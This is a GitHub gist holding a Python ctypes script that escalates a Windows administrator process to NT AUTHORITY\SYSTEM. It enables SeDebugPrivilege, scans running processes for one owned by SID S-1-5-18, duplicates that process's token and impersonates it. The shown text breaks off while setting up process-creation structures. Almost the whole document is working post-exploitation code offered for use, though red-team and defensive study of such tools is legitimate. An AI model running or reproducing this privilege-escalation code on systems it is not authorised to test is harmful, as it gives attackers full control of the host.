Last active
May 18, 2024 19:06
-
-
Save makelariss/147a16dd003b2fd1eacd9afcd1d0fe7f to your computer and use it in GitHub Desktop.
NT AUTHORITY\SYSTEM through Token Impersonation using Python
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: UTF-8 -*- | |
# All credits go to: https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py | |
from ctypes.wintypes import * | |
from ctypes import * | |
from enum import IntEnum | |
# These libraries have the APIs we need | |
kernel32 = WinDLL('kernel32', use_last_error=True) | |
advapi32 = WinDLL('advapi32', use_last_error=True) | |
psapi = WinDLL('psapi.dll', use_last_error=True) | |
# Define structures | |
# https://docs.python.org/2/library/ctypes.html#structures-and-unions | |
PSID = c_void_p | |
# The SID_AND_ATTRIBUTES structure represents a security identifier (SID) and its attributes. SIDs are used to uniquely identify users or groups | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379595(v=vs.85).aspx | |
class SID_AND_ATTRIBUTES(Structure): # typedef struct _SID_AND_ATTRIBUTES | |
_fields_ = [ # { | |
('Sid', PSID), # PSID Sid; | |
('Attributes', DWORD) # DWORD Attributes; | |
] # } | |
# The TOKEN_PRIVILEGES structure contains information about a set of privileges for an access token. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx | |
class TOKEN_PRIVILEGES(Structure): # typedef struct _TOKEN_PRIVILEGES | |
_fields_ = [ # { | |
('PrivilegeCount', DWORD), # DWORD PrivilegeCount; | |
('Privileges', DWORD * 3) # LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]; | |
] # } | |
# The SECURITY_IMPERSONATION_LEVEL enumeration contains values that specify security impersonation levels. Security impersonation levels govern the degree to which a server process can act on behalf of a client process. | |
# or https://gist.github.com/christoph2/9c390e5c094796903097 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379572(v=vs.85).aspx | |
class SECURITY_IMPERSONATION_LEVEL(c_int): # typedef enum _SECURITY_IMPERSONATION_LEVEL { | |
SecurityAnonymous = 0 # SecurityAnonymous The server process cannot obtain identification information about the client, and it cannot impersonate the client. | |
SecurityIdentification = SecurityAnonymous + 1 # SecurityIdentification The server process can obtain information about the client, such as security identifiers and privileges, but it cannot impersonate the client. | |
SecurityImpersonation = SecurityIdentification + 1 # SecurityImpersonation The server process can impersonate the client's security context on its local system. | |
class c_enum(IntEnum): # A ctypes-compatible IntEnum superclass that implements the class method | |
@classmethod # https://docs.python.org/3/library/functions.html#classmethod | |
def from_param(cls, obj): # Define the class method `from_param`. | |
return c_int(cls(obj)) # The obj argument to the from_param method is the object instance, in this case the enumerated value itself. Any Enum with an integer value can be directly cast to int. TokenElevation -> TOKEN_INFORMATION_CLASS.TokenElevation | |
# The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379626(v=vs.85).aspx | |
class TOKEN_INFORMATION_CLASS(c_enum): # typedef enum _TOKEN_INFORMATION_CLASS { | |
TokenUser = 1 # TokenUser The buffer receives a TOKEN_USER structure that contains the user account of the token | |
TokenElevation = 20 # TokenElevationType The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token. | |
# The TOKEN_TYPE enumeration contains values that differentiate between a primary token and an impersonation token. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379633(v=vs.85).aspx | |
class TOKEN_TYPE(c_enum): # typedef enum tagTOKEN_TYPE { | |
TokenPrimary = 1 # TokenPrimary Indicates a primary token. | |
TokenImpersonation = 2 # TokenImpersonation Indicates an impersonation token. | |
# The TOKEN_USER structure identifies the user associated with an access token. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379634(v=vs.85).aspx | |
class TOKEN_USER(Structure): # typedef struct _TOKEN_USER | |
_fields_ = [ # { | |
('User', SID_AND_ATTRIBUTES), # SID_AND_ATTRIBUTES User; | |
] # } | |
LPVOID = c_void_p | |
LPTSTR = c_void_p | |
LPBYTE = c_char_p | |
# Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx | |
class STARTUPINFO(Structure): # typedef struct _STARTUPINFO | |
_fields_ = [ # { | |
('cb', DWORD), # DWORD cb; | |
('lpReserved', LPTSTR), # LPTSTR lpReserved; | |
('lpDesktop', LPTSTR), # LPTSTR lpDesktop; | |
('lpTitle', LPTSTR), # LPTSTR lpTitle; | |
('dwX', DWORD), # DWORD dwX; | |
('dwY', DWORD), # DWORD dwY; | |
('dwXSize', DWORD), # DWORD dwXSize; | |
('dwYSize', DWORD), # DWORD dwYSize; | |
('dwXCountChars', DWORD), # DWORD dwXCountChars; | |
('dwYCountChars', DWORD), # DWORD dwYCountChars; | |
('dwFillAttribute', DWORD), # DWORD dwFillAttribute; | |
('dwFlags', DWORD), # DWORD dwFlags; | |
('wShowWindow', WORD), # WORD wShowWindow; | |
('cbReserved2', WORD), # WORD cbReserved2; | |
('lpReserved2', LPBYTE), # LPBYTE lpReserved2; | |
('hStdInput', HANDLE), # HANDLE hStdInput; | |
('hStdOutput', HANDLE), # HANDLE hStdOutput; | |
('hStdError', HANDLE) # HANDLE hStdError; | |
] # } | |
# Contains information about a newly created process and its primary thread. It is used with the CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, or CreateProcessWithTokenW function. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx | |
class PROCESS_INFORMATION(Structure): # typedef struct _PROCESS_INFORMATION | |
_fields_ = [ # { | |
('hProcess', HANDLE), # HANDLE hProcess; | |
('hThread', HANDLE), # HANDLE hThread; | |
('dwProcessId', DWORD), # DWORD dwProcessId; | |
('dwThreadId', DWORD) # DWORD dwThreadId; | |
] # } | |
# A pointer to a TOKEN_PRIVILEGES structure that specifies an array of privileges and their attributes. | |
# NewState [in, optional] # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375202(v=vs.85).aspx | |
SE_PRIVILEGE_ENABLED = 0x00000002 # The function enables the privilege | |
# Process creation flags | https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863(v=vs.85).aspx | |
CREATE_NEW_CONSOLE = 0x00000010 # The new process has a new console, instead of inheriting its parent's console (the default). | |
# Maximum Path Length Limitation | https://msdn.microsoft.com/en-us/library/windows/desktop/aa365247(v=vs.85).aspx | |
MAX_PATH = 260 | |
# dwLogonFlags [in] | |
LOGON_NETCREDENTIALS_ONLY = 0x00000002 # Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials. lpApplicationName = CMDPath.value | |
# Standard access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa379607(v=vs.85).aspx | |
SYNCHRONIZE = 0x00100000 # The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state. | |
DELETE = 0x00010000 # The right to delete the object | |
READ_CONTROL = 0x00020000 # The right to read the information in the object's security descriptor, not including the information in the system access control list (SACL). To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. | |
WRITE_DAC = 0x00040000 # Required to modify the DACL in the security descriptor for the object. | |
WRITE_OWNER = 0x00080000 # Required to change the owner in the security descriptor for the object. | |
STANDARD_RIGHTS_READ = READ_CONTROL # Currently defined to equal READ_CONTROL | |
STANDARD_RIGHTS_WRITE = READ_CONTROL # Currently defined to equal READ_CONTROL | |
STANDARD_RIGHTS_REQUIRED = 0x000F0000 # Combines DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER access | |
# Process access rights for OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx | |
PROCESS_CREATE_PROCESS = 0x0080 # Required to create a process. | |
PROCESS_CREATE_THREAD = 0x0002 # Required to create a thread. | |
PROCESS_DUP_HANDLE = 0x0040 # Required to duplicate a handle using DuplicateHandle. | |
PROCESS_QUERY_INFORMATION = 0x0400 # Required to retrieve certain information about a process, such as its token, exit code, and priority class = see OpenProcessToken #. | |
PROCESS_QUERY_LIMITED_INFORMATION= 0x1000 # Required to retrieve certain information about a process = see GetExitCodeProcess, GetPriorityClass, IsProcessInJob, QueryFullProcessImageName #. A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP: This access right is not supported. | |
PROCESS_SET_INFORMATION = 0x0200 # Required to set certain information about a process, such as its priority class = see SetPriorityClass #. | |
PROCESS_SET_QUOTA = 0x0100 # Required to set memory limits using SetProcessWorkingSetSize. | |
PROCESS_SUSPEND_RESUME = 0x0800 # Required to suspend or resume a process. | |
PROCESS_TERMINATE = 0x0001 # Required to terminate a process using TerminateProcess. | |
PROCESS_VM_OPERATION = 0x0008 # Required to perform an operation on the address space of a process = see VirtualProtectEx and WriteProcessMemory #. | |
PROCESS_VM_READ = 0x0010 # Required to read memory in a process using ReadProcessMemory. | |
PROCESS_VM_WRITE = 0x0020 # Required to write to memory in a process using WriteProcessMemory. | |
PROCESS_ALL_ACCESS = (PROCESS_CREATE_PROCESS | |
| PROCESS_CREATE_THREAD | |
| PROCESS_DUP_HANDLE | |
| PROCESS_QUERY_INFORMATION | |
| PROCESS_QUERY_LIMITED_INFORMATION | |
| PROCESS_SET_INFORMATION | |
| PROCESS_SET_QUOTA | |
| PROCESS_SUSPEND_RESUME | |
| PROCESS_TERMINATE | |
| PROCESS_VM_OPERATION | |
| PROCESS_VM_READ | |
| PROCESS_VM_WRITE | |
| SYNCHRONIZE) | |
# Token access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa374905(v=vs.85).aspx | |
TOKEN_ADJUST_PRIVILEGES = 0x00000020 # Required to enable or disable the privileges in an access token | |
TOKEN_QUERY = 0x00000008 # Required to query an access token | |
TOKEN_ASSIGN_PRIMARY = 0x0001 # Required to attach a primary token to a process. The SE_ASSIGNPRIMARYTOKEN_NAME privilege is also required to accomplish this task | |
TOKEN_DUPLICATE = 0x0002 # Required to duplicate an access token | |
TOKEN_IMPERSONATE = 0x0004 # Required to attach an impersonation access token to a process | |
TOKEN_QUERY_SOURCE = 0x0010 # Required to query the source of an access token | |
TOKEN_ADJUST_GROUPS = 0x0040 # Required to adjust the attributes of the groups in an access token | |
TOKEN_ADJUST_DEFAULT = 0x0080 # Required to change the default owner, primary group, or DACL of an access token | |
TOKEN_ADJUST_SESSIONID = 0x0100 # Required to adjust the session ID of an access token. The SE_TCB_NAME privilege is required | |
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) # Combines STANDARD_RIGHTS_READ and TOKEN_QUERY. | |
tokenprivs = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072L | 4)) | |
TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED # Combines all possible access rights for a token. | |
| TOKEN_ASSIGN_PRIMARY | |
| TOKEN_DUPLICATE | |
| TOKEN_IMPERSONATE | |
| TOKEN_QUERY | |
| TOKEN_QUERY_SOURCE | |
| TOKEN_ADJUST_PRIVILEGES | |
| TOKEN_ADJUST_GROUPS | |
| TOKEN_ADJUST_DEFAULT | |
| TOKEN_ADJUST_SESSIONID) | |
# Win32 API function definitions | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx | |
#Retrieves the calling thread's last-error code value. The last-error code is maintained on a per-thread basis. Multiple threads do not overwrite each other's last-error code. | |
GetLastError = windll.kernel32.GetLastError # https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx | |
GetLastError.restype = DWORD # DWORD WINAPI GetLastError(void); | |
# Retrieves a pseudo handle for the current process | |
GetCurrentProcess = kernel32.GetCurrentProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683179(v=vs.85).aspx | |
GetCurrentProcess.restype = HANDLE # HANDLE WINAPI GetCurrentProcess(void); | |
# Closes an open object handle. | |
CloseHandle = kernel32.CloseHandle # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx | |
CloseHandle.restype = BOOL # BOOL WINAPI CloseHandle | |
CloseHandle.argtypes = [ # ( | |
HANDLE # HANDLE hObject | |
] # ); | |
PHANDLE = POINTER(HANDLE) | |
# The OpenProcessToken function opens the access token associated with a process | |
OpenProcessToken = advapi32.OpenProcessToken # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379295(v=vs.85).aspx | |
OpenProcessToken.restype = BOOL # BOOL WINAPI OpenProcessToken( | |
OpenProcessToken.argtypes = [ # ( | |
HANDLE, # HANDLE ProcessHandle, | |
DWORD, # DWORD DesiredAccess, | |
PHANDLE # PHANDLE TokenHandle | |
] # ); | |
PDWORD = POINTER(DWORD) | |
# The GetTokenInformation function retrieves a specified type of information about an access token | |
GetTokenInformation = advapi32.GetTokenInformation # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx | |
GetTokenInformation.restype = BOOL # BOOL WINAPI GetTokenInformation | |
GetTokenInformation.argtypes = [ # ( | |
HANDLE, # HANDLE TokenHandle, | |
c_int, # TOKEN_INFORMATION_CLASS TokenInformationClass, (TOKEN_INFORMATION_CLASS.enum (eg: TokenElevation) -> cast to int (0x14)) | |
LPVOID, # LPVOID TokenInformation, | |
DWORD, # DWORD TokenInformationLength, | |
PDWORD # PDWORD ReturnLength | |
] # ); | |
# Opens an existing local process object | |
OpenProcess = kernel32.OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx | |
OpenProcess.restype = HANDLE # HANDLE WINAPI OpenProcess | |
OpenProcess.argtypes = [ # ( | |
DWORD, # DWORD dwDesiredAccess, | |
BOOL, # BOOL bInheritHandle, | |
DWORD # DWORD dwProcessId | |
] # ); | |
# Retrieves the process identifier of the calling process | |
GetCurrentProcessId = kernel32.GetCurrentProcessId # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683180(v=vs.85).aspx | |
GetCurrentProcessId.restype = DWORD # DWORD WINAPI GetCurrentProcessId(void); | |
# Retrieves the base name of the specified module | |
GetModuleBaseNameA = psapi.GetModuleBaseNameA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683196(v=vs.85).aspx | |
GetModuleBaseNameA.restype = DWORD # DWORD WINAPI GetModuleBaseName | |
GetModuleBaseNameA.argtypes = [ # ( | |
HANDLE, # HANDLE hProcess, | |
HMODULE, # HMODULE hModule, | |
LPTSTR, # LPTSTR lpBaseName, | |
DWORD # DWORD nSize | |
] # ); | |
PTOKEN_PRIVILEGES = LPVOID | |
# The AdjustTokenPrivileges function enables or disables privileges in the specified access token | |
AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375202(v=vs.85).aspx | |
AdjustTokenPrivileges.restype = BOOL # BOOL WINAPI AdjustTokenPrivileges | |
AdjustTokenPrivileges.argtypes = [ # { | |
HANDLE, # HANDLE TokenHandle, | |
BOOL, # BOOL DisableAllPrivileges, | |
PTOKEN_PRIVILEGES, # PTOKEN_PRIVILEGES NewState, # SE_PRIVILEGE_ENABLED = 0x00000002 | |
DWORD, # DWORD BufferLength, | |
PTOKEN_PRIVILEGES, # PTOKEN_PRIVILEGES PreviousState, | |
PDWORD # PDWORD ReturnLength | |
] # } | |
PDWORD = POINTER(DWORD) | |
# Retrieves the process identifier for each process object in the system. | |
EnumProcesses = psapi.EnumProcesses # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682629(v=vs.85).aspx | |
EnumProcesses.restype = BOOL # BOOL WINAPI EnumProcesses | |
EnumProcesses.argtypes = [ # ( | |
PDWORD, # DWORD *pProcessIds, | |
DWORD, # DWORD cb, | |
PDWORD # DWORD *pBytesReturned | |
] # ); | |
# Retrieves the name of the executable file for the specified process. | |
GetProcessImageFileName = psapi.GetProcessImageFileNameA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx | |
GetProcessImageFileName.restype = DWORD # DWORD WINAPI GetProcessImageFileName | |
GetProcessImageFileName.argtypes = [ # ( | |
HANDLE, # HANDLE hprocess, | |
LPTSTR, # LPTSTR lpImageFileName, | |
DWORD # DWORD nSize | |
] # ); | |
# The ConvertSidToStringSid function converts a security identifier (SID) to a string format suitable for display, storage, or transmission. | |
ConvertSidToStringSidA = advapi32.ConvertSidToStringSidA # https://msdn.microsoft.com/en-us/library/windows/desktop/aa376399(v=vs.85).aspx | |
ConvertSidToStringSidA.restype = BOOL # BOOL ConvertSidToStringSid | |
ConvertSidToStringSidA.argtypes = [ # ( | |
PSID, # PSID Sid, | |
LPTSTR # LPTSTR *StringSid | |
] # ); | |
LPSECURITY_ATTRIBUTES = LPVOID | |
# The DuplicateTokenEx function creates a new access token that duplicates an existing token. This function can create either a primary token or an impersonation token. | |
DuplicateTokenEx = advapi32.DuplicateTokenEx # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx | |
DuplicateTokenEx.restype = BOOL # BOOL WINAPI DuplicateTokenEx | |
DuplicateTokenEx.argtypes = [ # ( | |
HANDLE, # HANDLE hExistingToken, | |
DWORD, # DWORD dwDesiredAccess, | |
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpTokenAttributes, | |
SECURITY_IMPERSONATION_LEVEL, # SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, | |
TOKEN_TYPE, # TOKEN_TYPE TokenType, | |
PHANDLE # PHANDLE phNewToken | |
] # ); | |
# The ImpersonateLoggedOnUser function lets the calling thread impersonate the security context of a logged-on user. The user is represented by a token handle. | |
ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser # https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx | |
ImpersonateLoggedOnUser.restype = BOOL # BOOL WINAPI ImpersonateLoggedOnUser | |
ImpersonateLoggedOnUser.argtypes = [ # ( | |
HANDLE # HANDLE hToken | |
] # ); | |
LPSTARTUPINFO = PSTARTUPINFO = POINTER(STARTUPINFO) | |
LPPROCESS_INFORMATION = PPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION) | |
# Creates a new process and its primary thread. The new process runs in the security context of the specified token. | |
CreateProcessWithToken = advapi32.CreateProcessWithTokenW # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx | |
CreateProcessWithToken.restype = BOOL # BOOL WINAPI CreateProcessWithTokenW | |
CreateProcessWithToken. argtypes = [ # ( | |
HANDLE, # HANDLE hToken, | |
DWORD, # DWORD dwLogonFlags, | |
LPCWSTR, # LPCWSTR lpApplicationName, | |
LPWSTR, # LPWSTR lpCommandLine, | |
DWORD, # DWORD dwCreationFlags, | |
LPCWSTR, # LPVOID lpEnvironment, | |
LPCWSTR, # LPCWSTR lpCurrentDirectory, | |
LPSTARTUPINFO, # LPSTARTUPINFOW lpStartupInfo, | |
LPPROCESS_INFORMATION # LPPROCESS_INFORMATION lpProcessInfo | |
] # ); | |
# Closes an open object handle. | |
CloseHandle = kernel32.CloseHandle # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx | |
CloseHandle.restype = BOOL # BOOL WINAPI CloseHandle | |
CloseHandle.argtypes = [ # ( | |
HANDLE # HANDLE hObject | |
] # ); | |
def areAdminRightsEnabled(): | |
currentToken = HANDLE() | |
OpenProcessToken( | |
GetCurrentProcess(), # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission. | |
TOKEN_READ, # _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied. | |
byref(currentToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns. | |
TokenInformation = DWORD() | |
ReturnLength = DWORD() | |
cracknak69 = GetTokenInformation( | |
currentToken, # _In_ TokenHandle A handle to an access token from which information is retrieved. If TokenInformationClass specifies TokenSource, the handle must have TOKEN_QUERY_SOURCE access. For all other TokenInformationClass values, the handle must have TOKEN_QUERY access. | |
TOKEN_INFORMATION_CLASS.TokenElevation,# _In_ TokenInformationClass Specifies a value from the TOKEN_INFORMATION_CLASS enumerated type to identify the type of information the function retrieves. | |
byref(TokenInformation), # _Out_opt_ TokenInformation A pointer to a buffer the function fills with the requested information. The structure put into this buffer depends upon the type of information specified by the TokenInformationClass parameter. | |
sizeof(TokenInformation), # _In_ TokenInformationLength Specifies the size, in bytes, of the buffer pointed to by the TokenInformation parameter. If TokenInformation is NULL, this parameter must be zero. | |
byref(ReturnLength)) # _Out_ ReturnLength A pointer to a variable that receives the number of bytes needed for the buffer pointed to by the TokenInformation parameter. | |
if TokenInformation: | |
currenthandle = OpenProcess( | |
PROCESS_ALL_ACCESS, # _In_ dwDesiredAccess The access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor. | |
False, # _In_ bInheritHandle If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle. | |
GetCurrentProcessId()) # _In_ dwProcessId The identifier of the local process to be opened. | |
BaseName = (c_char * MAX_PATH)() | |
GetModuleBaseNameA( | |
currenthandle, # _In_ hProcess, | |
None, # _In_opt_ hModule, | |
byref(BaseName), # _Out_ lpBaseName, | |
sizeof(BaseName)) # _In_ nSize | |
print "[+] Process", BaseName.value,"has elevated privileges.. continuing" | |
return bool(TokenInformation) # NULL pointers have a False boolean value | |
CloseHandle(currentToken) # _In_ hObject A valid handle to an open object. | |
INVALID_HANDLE_VALUE = c_void_p(-1).value | |
def getsedebugprivilege(): | |
hToken = HANDLE(INVALID_HANDLE_VALUE) | |
knackcrack = OpenProcessToken( | |
GetCurrentProcess(), # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission. | |
(TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY),# _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied. | |
byref(hToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns. | |
if knackcrack == 0: | |
raise RuntimeError("Error while grabbing GetCurrentProcess()'s token: %s" %GetLastError()) | |
SE_DEBUG_NAME = 20 # https://msdn.microsoft.com/en-us/library/cc223143.aspx | more information -> https://doxygen.reactos.org/d2/d01/ndk_2setypes_8h_source.html | |
tp = TOKEN_PRIVILEGES() | |
tp.PrivilegeCount= 1 | |
tp.Privileges = (SE_DEBUG_NAME, 0, SE_PRIVILEGE_ENABLED) | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx | |
knackcrack666 = AdjustTokenPrivileges( | |
hToken, # _In_ TokenHandle A handle to the access token that contains the privileges to be modified. The handle must have TOKEN_ADJUST_PRIVILEGES access to the token. If the PreviousState parameter is not NULL, the handle must also have TOKEN_QUERY access. | |
False, # _In_ DisableAllPrivileges Specifies whether the function disables all of the token's privileges. If this value is TRUE, the function disables all privileges and ignores the NewState parameter. If it is FALSE, the function modifies privileges based on the information pointed to by the NewState parameter. | |
byref(tp), # _In_opt_ NewState A pointer to a TOKEN_PRIVILEGES structure that specifies an array of privileges and their attributes. If the DisableAllPrivileges parameter is FALSE, the AdjustTokenPrivileges function enables, disables, or removes these privileges for the token. If DisableAllPrivileges is TRUE, the function ignores this parameter. | |
0, # _In_ BufferLength Specifies the size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be zero if the PreviousState parameter is NULL. | |
None, # _Out_opt_ PreviousState A pointer to a buffer that the function fills with a TOKEN_PRIVILEGES structure that contains the previous state of any privileges that the function modifies. That is, if a privilege has been modified by this function, the privilege and its previous state are contained in the TOKEN_PRIVILEGES structure referenced by PreviousState. If the PrivilegeCount member of TOKEN_PRIVILEGES is zero, then no privileges have been changed by this function. This parameter can be NULL | |
None) # _Out_opt_ ReturnLength A pointer to a variable that receives the required size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be NULL if PreviousState is NULL. | |
if knackcrack666 == 0: | |
raise RuntimeError("Error while assigning SE_DEBUG_NAME to GetCurrentProcess()'s token': %s" %GetLastError()) | |
if areAdminRightsEnabled(): | |
getsedebugprivilege() | |
print "[+] Enabling SeDebugPrivilege" | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms682623(v=vs.85).aspx | |
DWORD_array = (DWORD * 0xFFFF) | |
ProcessIds = DWORD_array() | |
ProcessIdsSize = sizeof(ProcessIds) | |
ProcessesReturned = DWORD() # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682623(v=vs.85).aspx | |
EnumProcesses( | |
ProcessIds, # _Out_ pProcessIds A pointer to an array that receives the list of process identifiers. | |
ProcessIdsSize, # _In_ cb The size of the pProcessIds array, in bytes. | |
ProcessesReturned) # _Out_ pBytesReturned The number of bytes returned in the pProcessIds array. | |
foundSystemprocess = False | |
RunningProcesses = ProcessesReturned.value / sizeof(DWORD) | |
for process in range(RunningProcesses): | |
ProcessId = ProcessIds[process] | |
currenthandle = OpenProcess( | |
PROCESS_QUERY_INFORMATION, # _In_ dwDesiredAccess The access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor. | |
False, # _In_ bInheritHandle If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle. | |
ProcessId) # _In_ dwProcessId The identifier of the local process to be opened. | |
if currenthandle: | |
ProcessName = (c_char * MAX_PATH)() | |
if GetProcessImageFileName( | |
currenthandle, # _In_ hProcess A handle to the process. The handle must have the PROCESS_QUERY_INFORMATION or PROCESS_QUERY_LIMITED_INFORMATION access right. | |
ProcessName, # _Out_ lpImageFileName A pointer to a buffer that receives the full path to the executable file. | |
MAX_PATH): # _In_ nSize The size of the lpImageFileName buffer, in characters. | |
ProcessName = ProcessName.value.split("\\")[-1] # Since GetProcessImageFileName function returns the path in device form we grab the process name with split on what's followed after the last slash. \Device\Harddisk0\Partition1\Windows\System32\wusa.exe -> wusa.exe | |
if not foundSystemprocess: | |
processToken = HANDLE(INVALID_HANDLE_VALUE) | |
OpenProcessToken( | |
currenthandle, # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission. | |
tokenprivs, # _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied. | |
byref(processToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns. | |
TokenInformation = (c_byte * 4096)() # assume x86 page size | |
ReturnLength = DWORD() | |
GetTokenInformation( | |
processToken, # _In_ TokenHandle A handle to an access token from which information is retrieved. If TokenInformationClass specifies TokenSource, the handle must have TOKEN_QUERY_SOURCE access. For all other TokenInformationClass values, the handle must have TOKEN_QUERY access. | |
TOKEN_INFORMATION_CLASS.TokenUser, # _In_ TokenInformationClass Specifies a value from the TOKEN_INFORMATION_CLASS enumerated type to identify the type of information the function retrieves. | |
byref(TokenInformation), # _Out_opt_ TokenInformation A pointer to a buffer the function fills with the requested information. The structure put into this buffer depends upon the type of information specified by the TokenInformationClass parameter. | |
sizeof(TokenInformation), # _In_ TokenInformationLength Specifies the size, in bytes, of the buffer pointed to by the TokenInformation parameter. If TokenInformation is NULL, this parameter must be zero. | |
byref(ReturnLength)) # _Out_ ReturnLength A pointer to a variable that receives the number of bytes needed for the buffer pointed to by the TokenInformation parameter. | |
Token = cast(TokenInformation, POINTER(TOKEN_USER)) | |
StringSid = LPSTR() | |
ConvertSidToStringSidA( | |
Token.contents.User.Sid, # _In_ Sid A pointer to the SID structure to be converted. | |
byref(StringSid)) # _Out_ *StringSid A pointer to a variable that receives a pointer to a null-terminated SID string. | |
if StringSid.value == 'S-1-5-18': | |
print "[*] Found system IL process", ProcessName,"with PID:", ProcessId | |
print "\t[+] Grabbing token" | |
foundSystemprocess = True | |
hTokendupe = HANDLE(INVALID_HANDLE_VALUE) | |
knacrack = DuplicateTokenEx( | |
processToken, # _In_ hExistingToken A handle to an access token opened with TOKEN_DUPLICATE access. | |
TOKEN_ALL_ACCESS, # _In_ dwDesiredAccess Specifies the requested access rights for the new token. The DuplicateTokenEx function compares the requested access rights with the existing token's discretionary access control list (DACL) to determine which rights are granted or denied. | |
None, # _In_opt_ lpTokenAttributes A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new token and determines whether child processes can inherit the token. | |
SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,# _In_ ImpersonationLevel Specifies a value from the SECURITY_IMPERSONATION_LEVEL enumeration that indicates the impersonation level of the new token. | |
TOKEN_TYPE.TokenPrimary, # _In_ TokenType Specifies a value from the TOKEN_TYPE enumeration. | |
byref(hTokendupe)) # _Out_ phNewToken A pointer to a HANDLE variable that receives the new token. | |
ImpersonateLoggedOnUser(hTokendupe) # _In_ hToken A handle to a primary or impersonation access token that represents a logged-on user. This can be a token handle returned by a call to NtFilterToken function. If hToken is a handle to an impersonation token, the token must have TOKEN_QUERY and TOKEN_IMPERSONATE access. | |
print "\t[*] Impersonating System IL token" | |
SW_SHOW = 5 | |
lpStartupInfo = STARTUPINFO() | |
lpStartupInfo.cb = sizeof(lpStartupInfo) | |
lpProcessInformation = PROCESS_INFORMATION() | |
STARTF_USESHOWWINDOW = 0x00000001 # The wShowWindow member contains additional information. | |
